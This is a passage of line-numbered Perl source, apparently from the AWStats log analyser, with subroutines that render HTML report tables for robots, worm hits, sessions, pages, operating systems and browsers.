                  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
 
14780
                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
 
14781
                if ( $ShowRobotsStats =~ /H/i ) {
 
14782
                        print "<td>"
 
14783
                          . Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
 
14784
                          . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
 
14785
                }
 
14786
                if ( $ShowRobotsStats =~ /B/i ) {
 
14787
                        print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
 
14788
                }
 
14789
                if ( $ShowRobotsStats =~ /L/i ) {
 
14790
                        print "<td>"
 
14791
                          . (
 
14792
                                $_robot_l{$key}
 
14793
                                ? Format_Date( $_robot_l{$key}, 1 )
 
14794
                                : '-'
 
14795
                          )
 
14796
                          . "</td>";
 
14797
                }
 
14798
                print "</tr>\n";
 
14799
 
 
14800
                #$total_p += $_robot_p{$key};
 
14801
                $total_h += $_robot_h{$key};
 
14802
                $total_k += $_robot_k{$key} || 0;
 
14803
                $total_r += $_robot_r{$key} || 0;
 
14804
                $count++;
 
14805
        }
 
14806
 
 
14807
        # For bots we need to count Totals
 
14808
        my $TotalPagesRobots =
 
14809
          0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
 
14810
        my $TotalHitsRobots = 0;
 
14811
        foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
 
14812
        my $TotalBytesRobots = 0;
 
14813
        foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
 
14814
        my $TotalRRobots = 0;
 
14815
        foreach ( values %_robot_r ) { $TotalRRobots += $_; }
 
14816
        my $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
 
14817
        my $rest_h = $TotalHitsRobots - $total_h;
 
14818
        my $rest_k = $TotalBytesRobots - $total_k;
 
14819
        my $rest_r = $TotalRRobots - $total_r;
 
14820
 
 
14821
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
 
14822
        {               # All other robots
 
14823
                print
 
14824
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
14825
                if ( $ShowRobotsStats =~ /H/i ) {
 
14826
                        print "<td>"
 
14827
                          . Format_Number(( $rest_h - $rest_r ))
 
14828
                          . ( $rest_r ? "+$rest_r" : "" ) . "</td>";
 
14829
                }
 
14830
                if ( $ShowRobotsStats =~ /B/i ) {
 
14831
                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
 
14832
                }
 
14833
                if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
14834
                print "</tr>\n";
 
14835
        }
 
14836
        &tab_end(
 
14837
                "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
 
14838
}
 
14839
 
 
14840
#------------------------------------------------------------------------------
 
14841
# Function:     Prints the worms chart and table
 
14842
# Parameters:   -
 
14843
# Input:        -
 
14844
# Output:       HTML
 
14845
# Return:       -
 
14846
#------------------------------------------------------------------------------
 
14847
sub HTMLMainWorms{
 
14848
        if ($Debug) { debug( "ShowWormsStats", 2 ); }
 
14849
        print "$Center<a name=\"worms\">&nbsp;</a><br />\n";
 
14850
        &tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
 
14851
                19, 0, 'worms' );
 
14852
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
 
14853
        print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>";
 
14854
        print "<th>$Message[167]</th>";
 
14855
        if ( $ShowWormsStats =~ /H/i ) {
 
14856
                print
 
14857
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
14858
        }
 
14859
        if ( $ShowWormsStats =~ /B/i ) {
 
14860
                print
 
14861
                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
14862
        }
 
14863
        if ( $ShowWormsStats =~ /L/i ) {
 
14864
                print "<th width=\"120\">$Message[9]</th>";
 
14865
        }
 
14866
        print "</tr>\n";
 
14867
        my $total_p = my $total_h = my $total_k = 0;
 
14868
        my $count = 0;
 
14869
        &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
 
14870
                \%_worm_h );
 
14871
        foreach my $key (@keylist) {
 
14872
                print "<tr>";
 
14873
                print "<td class=\"aws\">"
 
14874
                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
14875
                  . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
 
14876
                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
 
14877
                print "<td class=\"aws\">"
 
14878
                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
14879
                  . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
 
14880
                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
 
14881
                if ( $ShowWormsStats =~ /H/i ) {
 
14882
                        print "<td>" . Format_Number($_worm_h{$key}) . "</td>";
 
14883
                }
 
14884
                if ( $ShowWormsStats =~ /B/i ) {
 
14885
                        print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
 
14886
                }
 
14887
                if ( $ShowWormsStats =~ /L/i ) {
 
14888
                        print "<td>"
 
14889
                          . (
 
14890
                                $_worm_l{$key}
 
14891
                                ? Format_Date( $_worm_l{$key}, 1 )
 
14892
                                : '-'
 
14893
                          )
 
14894
                          . "</td>";
 
14895
                }
 
14896
                print "</tr>\n";
 
14897
 
 
14898
                #$total_p += $_worm_p{$key};
 
14899
                $total_h += $_worm_h{$key};
 
14900
                $total_k += $_worm_k{$key} || 0;
 
14901
                $count++;
 
14902
        }
 
14903
 
 
14904
        # For worms we need to count Totals
 
14905
        my $TotalPagesWorms =
 
14906
          0;    #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
 
14907
        my $TotalHitsWorms = 0;
 
14908
        foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
 
14909
        my $TotalBytesWorms = 0;
 
14910
        foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
 
14911
        my $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
 
14912
        my $rest_h = $TotalHitsWorms - $total_h;
 
14913
        my $rest_k = $TotalBytesWorms - $total_k;
 
14914
 
 
14915
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
 
14916
                print "<tr>";
 
14917
                print
 
14918
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
14919
                print "<td class=\"aws\">-</td>";
 
14920
                if ( $ShowWormsStats =~ /H/i ) {
 
14921
                        print "<td>" . Format_Number(($rest_h)) . "</td>";
 
14922
                }
 
14923
                if ( $ShowWormsStats =~ /B/i ) {
 
14924
                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
 
14925
                }
 
14926
                if ( $ShowWormsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
14927
                print "</tr>\n";
 
14928
        }
 
14929
        &tab_end("* $Message[158]");
 
14930
}
 
14931
 
 
14932
#------------------------------------------------------------------------------
 
14933
# Function:     Prints the sessions chart and table
 
14934
# Parameters:   -
 
14935
# Input:        -
 
14936
# Output:       HTML
 
14937
# Return:       -
 
14938
#------------------------------------------------------------------------------
 
14939
sub HTMLMainSessions{
 
14940
        if ($Debug) { debug( "ShowSessionsStats", 2 ); }
 
14941
        print "$Center<a name=\"sessions\">&nbsp;</a><br />\n";
 
14942
        my $title = "$Message[117]";
 
14943
        &tab_head( $title, 19, 0, 'sessions' );
 
14944
        my $Totals = 0;
 
14945
        my $average_s = 0;
 
14946
        foreach (@SessionsRange) {
 
14947
                $average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
 
14948
                $Totals += $_session{$_} || 0;
 
14949
        }
 
14950
        if ($Totals) { $average_s = int( $average_s / $Totals ); }
 
14951
        else { $average_s = '?'; }
 
14952
        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
14953
          . Tooltip(1)
 
14954
          . "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
 
14955
        $average_s = 0;
 
14956
        my $total_s   = 0;
 
14957
        my $count = 0;
 
14958
        foreach my $key (@SessionsRange) {
 
14959
                my $p = 0;
 
14960
                if ($TotalVisits) {
 
14961
                        $p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
 
14962
                }
 
14963
                $total_s += $_session{$key} || 0;
 
14964
                print "<tr><td class=\"aws\">$key</td>";
 
14965
                print "<td>"
 
14966
                  . ( $_session{$key} ? Format_Number($_session{$key}) : "&nbsp;" ) . "</td>";
 
14967
                print "<td>"
 
14968
                  . ( $_session{$key} ? "$p %" : "&nbsp;" ) . "</td>";
 
14969
                print "</tr>\n";
 
14970
                $count++;
 
14971
        }
 
14972
        my $rest_s = $TotalVisits - $total_s;
 
14973
        if ( $rest_s > 0 ) {    # All others sessions
 
14974
                my $p = 0;
 
14975
                if ($TotalVisits) {
 
14976
                        $p = int( $rest_s / $TotalVisits * 1000 ) / 10;
 
14977
                }
 
14978
                print "<tr"
 
14979
                  . Tooltip(20)
 
14980
                  . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
 
14981
                print "<td>".Format_Number($rest_s)."</td>";
 
14982
                print "<td>" . ( $rest_s ? "$p %" : "&nbsp;" ) . "</td>";
 
14983
                print "</tr>\n";
 
14984
        }
 
14985
        &tab_end();
 
14986
}
 
14987
 
 
14988
#------------------------------------------------------------------------------
 
14989
# Function:     Prints the pages chart and table
 
14990
# Parameters:   $NewLinkParams, $NewLinkTarget
 
14991
# Input:        -
 
14992
# Output:       HTML
 
14993
# Return:       -
 
14994
#------------------------------------------------------------------------------
 
14995
sub HTMLMainPages{
 
14996
        my $NewLinkParams = shift;
 
14997
        my $NewLinkTarget = shift;
 
14998
        
 
14999
        if ($Debug) {
 
15000
                debug(
 
15001
"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
 
15002
                        2
 
15003
                );
 
15004
        }
 
15005
        my $regext         = qr/\.(\w{1,6})$/;
 
15006
        print
 
15007
"$Center<a name=\"urls\">&nbsp;</a><a name=\"entry\">&nbsp;</a><a name=\"exit\">&nbsp;</a><br />\n";
 
15008
        my $title =
 
15009
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) &nbsp; - &nbsp; <a href=\""
 
15010
          . (
 
15011
                $ENV{'GATEWAY_INTERFACE'}
 
15012
                  || !$StaticLinks
 
15013
                ? XMLEncode("$AWScript${NewLinkParams}output=urldetail")
 
15014
                : "$StaticLinks.urldetail.$StaticExt"
 
15015
          )
 
15016
          . "\"$NewLinkTarget>$Message[80]</a>";
 
15017
        if ( $ShowPagesStats =~ /E/i ) {
 
15018
                $title .= " &nbsp; - &nbsp; <a href=\""
 
15019
                  . (
 
15020
                        $ENV{'GATEWAY_INTERFACE'}
 
15021
                          || !$StaticLinks
 
15022
                        ? XMLEncode("$AWScript${NewLinkParams}output=urlentry")
 
15023
                        : "$StaticLinks.urlentry.$StaticExt"
 
15024
                  )
 
15025
                  . "\"$NewLinkTarget>$Message[104]</a>";
 
15026
        }
 
15027
        if ( $ShowPagesStats =~ /X/i ) {
 
15028
                $title .= " &nbsp; - &nbsp; <a href=\""
 
15029
                  . (
 
15030
                        $ENV{'GATEWAY_INTERFACE'}
 
15031
                          || !$StaticLinks
 
15032
                        ? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
 
15033
                        : "$StaticLinks.urlexit.$StaticExt"
 
15034
                  )
 
15035
                  . "\"$NewLinkTarget>$Message[116]</a>";
 
15036
        }
 
15037
        &tab_head( "$title", 19, 0, 'urls' );
 
15038
        print
 
15039
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>";
 
15040
        if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
 
15041
                print
 
15042
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
 
15043
        }
 
15044
        if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
 
15045
                print
 
15046
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
15047
        }
 
15048
        if ( $ShowPagesStats =~ /B/i ) {
 
15049
                print
 
15050
                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
 
15051
        }
 
15052
        if ( $ShowPagesStats =~ /E/i ) {
 
15053
                print
 
15054
                  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
 
15055
        }
 
15056
        if ( $ShowPagesStats =~ /X/i ) {
 
15057
                print
 
15058
                  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
 
15059
        }
 
15060
 
 
15061
        # Call to plugins' function ShowPagesAddField
 
15062
        foreach
 
15063
          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
15064
        {
 
15065
 
 
15066
                #                               my $function="ShowPagesAddField_$pluginname('title')";
 
15067
                #                               eval("$function");
 
15068
                my $function = "ShowPagesAddField_$pluginname";
 
15069
                &$function('title');
 
15070
        }
 
15071
        print "<th>&nbsp;</th></tr>\n";
 
15072
        my $total_p = my $total_e = my $total_x = my $total_k = 0;
 
15073
        my $max_p   = 1;
 
15074
        my $max_k   = 1;
 
15075
        my $count = 0;
 
15076
        &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
 
15077
                \%_url_p );
 
15078
        foreach my $key (@keylist) {
 
15079
                if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
 
15080
                if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
 
15081
                        $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
 
15082
                }
 
15083
        }
 
15084
        foreach my $key (@keylist) {
 
15085
                print "<tr><td class=\"aws\">";
 
15086
                &HTMLShowURLInfo($key);
 
15087
                print "</td>";
 
15088
                my $bredde_p = 0;
 
15089
                my $bredde_e = 0;
 
15090
                my $bredde_x = 0;
 
15091
                my $bredde_k = 0;
 
15092
                if ( $max_p > 0 ) {
 
15093
                        $bredde_p =
 
15094
                          int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
 
15095
                }
 
15096
                if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
 
15097
                if ( $max_p > 0 ) {
 
15098
                        $bredde_e =
 
15099
                          int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
 
15100
                }
 
15101
                if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
 
15102
                if ( $max_p > 0 ) {
 
15103
                        $bredde_x =
 
15104
                          int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
 
15105
                }
 
15106
                if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
 
15107
                if ( $max_k > 0 ) {
 
15108
                        $bredde_k =
 
15109
                          int( $BarWidth *
 
15110
                                  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
 
15111
                                  $max_k ) + 1;
 
15112
                }
 
15113
                if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
 
15114
                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
 
15115
                        print "<td>".Format_Number($_url_p{$key})."</td>";
 
15116
                }
 
15117
                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
 
15118
                        print "<td>".Format_Number($_url_p{$key})."</td>";
 
15119
                }
 
15120
                if ( $ShowPagesStats =~ /B/i ) {
 
15121
                        print "<td>"
 
15122
                          . (
 
15123
                                $_url_k{$key}
 
15124
                                ? Format_Bytes(
 
15125
                                        $_url_k{$key} / ( $_url_p{$key} || 1 )
 
15126
                                  )
 
15127
                                : "&nbsp;"
 
15128
                          )
 
15129
                          . "</td>";
 
15130
                }
 
15131
                if ( $ShowPagesStats =~ /E/i ) {
 
15132
                        print "<td>"
 
15133
                          . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : "&nbsp;" ) . "</td>";
 
15134
                }
 
15135
                if ( $ShowPagesStats =~ /X/i ) {
 
15136
                        print "<td>"
 
15137
                          . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : "&nbsp;" ) . "</td>";
 
15138
                }
 
15139
 
 
15140
                # Call to plugins' function ShowPagesAddField
 
15141
                foreach my $pluginname (
 
15142
                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
15143
                {
 
15144
 
 
15145
                        #                                       my $function="ShowPagesAddField_$pluginname('$key')";
 
15146
                        #                                       eval("$function");
 
15147
                        my $function = "ShowPagesAddField_$pluginname";
 
15148
                        &$function($key);
 
15149
                }
 
15150
                print "<td class=\"aws\">";
 
15151
                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
 
15152
                        print
 
15153
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
 
15154
                          . AltTitle("")
 
15155
                          . " /><br />";
 
15156
                }
 
15157
                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
 
15158
                        print
 
15159
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
 
15160
                          . AltTitle("")
 
15161
                          . " /><br />";
 
15162
                }
 
15163
                if ( $ShowPagesStats =~ /B/i ) {
 
15164
                        print
 
15165
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
 
15166
                          . AltTitle("")
 
15167
                          . " /><br />";
 
15168
                }
 
15169
                if ( $ShowPagesStats =~ /E/i ) {
 
15170
                        print
 
15171
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
 
15172
                          . AltTitle("")
 
15173
                          . " /><br />";
 
15174
                }
 
15175
                if ( $ShowPagesStats =~ /X/i ) {
 
15176
                        print
 
15177
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
 
15178
                          . AltTitle("") . " />";
 
15179
                }
 
15180
                print "</td></tr>\n";
 
15181
                $total_p += $_url_p{$key} || 0;
 
15182
                $total_e += $_url_e{$key} || 0;
 
15183
                $total_x += $_url_x{$key} || 0;
 
15184
                $total_k += $_url_k{$key} || 0;
 
15185
                $count++;
 
15186
        }
 
15187
        my $rest_p = $TotalPages - $total_p;
 
15188
        my $rest_e = $TotalEntries - $total_e;
 
15189
        my $rest_x = $TotalExits - $total_x;
 
15190
        my $rest_k = $TotalBytesPages - $total_k;
 
15191
        if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
 
15192
        {    # All other urls
 
15193
                print
 
15194
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
15195
                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
 
15196
                        print "<td>".Format_Number($rest_p)."</td>";
 
15197
                }
 
15198
                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
 
15199
                        print "<td>".Format_Number($rest_p)."</td>";
 
15200
                }
 
15201
                if ( $ShowPagesStats =~ /B/i ) {
 
15202
                        print "<td>"
 
15203
                          . (
 
15204
                                $rest_k
 
15205
                                ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
 
15206
                                : "&nbsp;"
 
15207
                          )
 
15208
                          . "</td>";
 
15209
                }
 
15210
                if ( $ShowPagesStats =~ /E/i ) {
 
15211
                        print "<td>" . ( $rest_e ? Format_Number($rest_e) : "&nbsp;" ) . "</td>";
 
15212
                }
 
15213
                if ( $ShowPagesStats =~ /X/i ) {
 
15214
                        print "<td>" . ( $rest_x ? Format_Number($rest_x) : "&nbsp;" ) . "</td>";
 
15215
                }
 
15216
 
 
15217
                # Call to plugins' function ShowPagesAddField
 
15218
                foreach my $pluginname (
 
15219
                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
15220
                {
 
15221
 
 
15222
                        #                                       my $function="ShowPagesAddField_$pluginname('')";
 
15223
                        #                                       eval("$function");
 
15224
                        my $function = "ShowPagesAddField_$pluginname";
 
15225
                        &$function('');
 
15226
                }
 
15227
                print "<td>&nbsp;</td></tr>\n";
 
15228
        }
 
15229
        &tab_end();
 
15230
}
 
15231
 
 
15232
#------------------------------------------------------------------------------
 
15233
# Function:     Prints the OS chart and table
 
15234
# Parameters:   $NewLinkParams, $NewLinkTarget
 
15235
# Input:        -
 
15236
# Output:       HTML
 
15237
# Return:       -
 
15238
#------------------------------------------------------------------------------
 
15239
sub HTMLMainOS{
 
15240
        my $NewLinkParams = shift;
 
15241
        my $NewLinkTarget = shift;
 
15242
 
 
15243
        if ($Debug) { debug( "ShowOSStats", 2 ); }
 
15244
        print "$Center<a name=\"os\">&nbsp;</a><br />\n";
 
15245
        my $Totalh   = 0;
 
15246
        my %new_os_h = ();
 
15247
  OSLOOP: foreach my $key ( keys %_os_h ) {
 
15248
                $Totalh += $_os_h{$key};
 
15249
                foreach my $family ( keys %OSFamily ) {
 
15250
                        if ( $key =~ /^$family/i ) {
 
15251
                                $new_os_h{"${family}cumul"} += $_os_h{$key};
 
15252
                                next OSLOOP;
 
15253
                        }
 
15254
                }
 
15255
                $new_os_h{$key} += $_os_h{$key};
 
15256
        }
 
15257
        my $title =
 
15258
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) &nbsp; - &nbsp; <a href=\""
 
15259
          . (
 
15260
                $ENV{'GATEWAY_INTERFACE'}
 
15261
                  || !$StaticLinks
 
15262
                ? XMLEncode("$AWScript${NewLinkParams}output=osdetail")
 
15263
                : "$StaticLinks.osdetail.$StaticExt"
 
15264
          )
 
15265
          . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
 
15266
          . (
 
15267
                $ENV{'GATEWAY_INTERFACE'}
 
15268
                  || !$StaticLinks
 
15269
                ? XMLEncode("$AWScript${NewLinkParams}output=unknownos")
 
15270
                : "$StaticLinks.unknownos.$StaticExt"
 
15271
          )
 
15272
          . "\"$NewLinkTarget>$Message[0]</a>";
 
15273
        &tab_head( "$title", 19, 0, 'os' );
 
15274
        
 
15275
        &BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
 
15276
                \%new_os_h );
 
15277
                
 
15278
        # Graph the top five in a pie chart
 
15279
        if (scalar @keylist > 1){
 
15280
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
15281
                {
 
15282
                        my @blocklabel = ();
 
15283
                        my @valdata = ();
 
15284
                        my @valcolor = ($color_p);
 
15285
                        my $cnt = 0;
 
15286
                        foreach my $key (@keylist) {
 
15287
                                push @valdata, int(  $new_os_h{$key} / $Totalh * 1000 ) / 10;
 
15288
                                if ($key eq 'Unknown'){push @blocklabel, "$key"; }
 
15289
                                else{
 
15290
                                        my $keywithoutcumul = $key;
 
15291
                                        $keywithoutcumul =~ s/cumul$//i;
 
15292
                                        my $libos = $OSHashLib{$keywithoutcumul}
 
15293
                                          || $keywithoutcumul;
 
15294
                                        my $nameicon = $keywithoutcumul;
 
15295
                                        $nameicon =~ s/[^\w]//g;
 
15296
                                        if ( $OSFamily{$keywithoutcumul} ) {
 
15297
                                                $libos = $OSFamily{$keywithoutcumul};
 
15298
                                        }
 
15299
                                        push @blocklabel, "$libos";
 
15300
                                }
 
15301
                                $cnt++;
 
15302
                                if ($cnt > 4) { last; }
 
15303
                        }
 
15304
                        print "<tr><td colspan=\"5\">";
 
15305
                        my $function = "ShowGraph_$pluginname";
 
15306
                        &$function(
 
15307
                                "Top 5 Operating Systems",       "oss",
 
15308
                                0,                                              \@blocklabel,
 
15309
                                0,                              \@valcolor,
 
15310
                                0,                              0,
 
15311
                                0,                              \@valdata
 
15312
                        );
 
15313
                        print "</td></tr>";
 
15314
                }
 
15315
        }
 
15316
        
 
15317
        print
 
15318
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[59]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
 
15319
        my $total_h = 0;
 
15320
        my $count = 0;
 
15321
        
 
15322
        foreach my $key (@keylist) {
 
15323
                my $p = '&nbsp;';
 
15324
                if ($Totalh) {
 
15325
                        $p = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
 
15326
                        $p = "$p %";
 
15327
                }
 
15328
                if ( $key eq 'Unknown' ) {
 
15329
                        print "<tr><td"
 
15330
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
15331
                          . "><img src=\"$DirIcons\/os\/unknown.png\""
 
15332
                          . AltTitle("")
 
15333
                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td>".Format_Number($_os_h{$key})."</td><td>$p</td></tr>\n";
 
15334
                }
 
15335
                else {
 
15336
                        my $keywithoutcumul = $key;
 
15337
                        $keywithoutcumul =~ s/cumul$//i;
 
15338
                        my $libos = $OSHashLib{$keywithoutcumul}
 
15339
                          || $keywithoutcumul;
 
15340
                        my $nameicon = $keywithoutcumul;
 
15341
                        $nameicon =~ s/[^\w]//g;
 
15342
                        if ( $OSFamily{$keywithoutcumul} ) {
 
15343
                                $libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
 
15344
                        }
 
15345
                        print "<tr><td"
 
15346
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
15347
                          . "><img src=\"$DirIcons\/os\/$nameicon.png\""
 
15348
                          . AltTitle("")
 
15349
                          . " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_h{$key})."</td><td>$p</td></tr>\n";
 
15350
                }
 
15351
                $total_h += $new_os_h{$key};
 
15352
                $count++;
 
15353
        }
 
15354
        if ($Debug) {
 
15355
                debug( "Total real / shown : $Totalh / $total_h", 2 );
 
15356
        }
 
15357
        my $rest_h = $Totalh - $total_h;
 
15358
        if ( $rest_h > 0 ) {
 
15359
                my $p;
 
15360
                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
 
15361
                print "<tr>";
 
15362
                print "<td>&nbsp;</td>";
 
15363
                print
 
15364
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_h)."</td>";
 
15365
                print "<td>$p %</td></tr>\n";
 
15366
        }
 
15367
        &tab_end();
 
15368
}
 
15369
 
 
15370
#------------------------------------------------------------------------------
 
15371
# Function:     Prints the Browsers chart and table
 
15372
# Parameters:   $NewLinkParams, $NewLinkTarget
 
15373
# Input:        -
 
15374
# Output:       HTML
 
15375
# Return:       -
 
15376
#------------------------------------------------------------------------------
 
15377
sub HTMLMainBrowsers{
 
15378
        my $NewLinkParams = shift;
 
15379
        my $NewLinkTarget = shift;
 
15380
        
 
15381
        if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
 
15382
        print "$Center<a name=\"browsers\">&nbsp;</a><br />\n";
 
15383
        my $Totalh        = 0;
 
15384
        my %new_browser_h = ();
 
15385
  BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
 
15386
                $Totalh += $_browser_h{$key};
 
15387
                foreach my $family ( keys %BrowsersFamily ) {
 
15388
                        if ( $key =~ /^$family/i ) {
 
15389
                                $new_browser_h{"${family}cumul"} += $_browser_h{$key};
 
15390
                                next BROWSERLOOP;
 
15391
                        }
 
15392
                }
 
15393
                $new_browser_h{$key} += $_browser_h{$key};
 
15394
        }
 
15395
        my $title =
 
15396
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) &nbsp; - &nbsp; <a href=\""
 
15397
          . (
 
15398
                $ENV{'GATEWAY_INTERFACE'}
 
15399
                  || !$StaticLinks
 
15400
                ? XMLEncode("$AWScript${NewLinkParams}output=browserdetail")
 
15401
                : "$StaticLinks.browserdetail.$StaticExt"
 
15402
          )
 
15403
          . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
 
15404
          . (
 
15405
                $ENV{'GATEWAY_INTERFACE'}
 
15406
                  || !$StaticLinks
 
15407
                ? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser")
 
15408
                : "$StaticLinks.unknownbrowser.$StaticExt"
 
15409
          )
 
15410
          . "\"$NewLinkTarget>$Message[0]</a>";
 
15411
        &tab_head( "$title", 19, 0, 'browsers' );
 
15412
        
 
15413
        &BuildKeyList(
 
15414
                $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
 
15415
                \%new_browser_h,           \%new_browser_h
 
15416
        );
 
15417
        
 
15418
        # Graph the top five in a pie chart
 
15419
        if (scalar @keylist > 1){
 
15420
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
15421
                {
 
15422
                        my @blocklabel = ();
 
15423
                        my @valdata = ();
 
15424
                        my @valcolor = ($color_p);
 
15425
                        my $cnt = 0;
 
15426
                        foreach my $key (@keylist) {
 
15427
                                push @valdata, int(  $new_browser_h{$key} / $TotalHits * 1000 ) / 10;
 
15428
                                if ($key eq 'Unknown'){push @blocklabel, "$key"; }
 
15429
                                else{
 
15430
                                        my $keywithoutcumul = $key;
 
15431
                                        $keywithoutcumul =~ s/cumul$//i;
 
15432
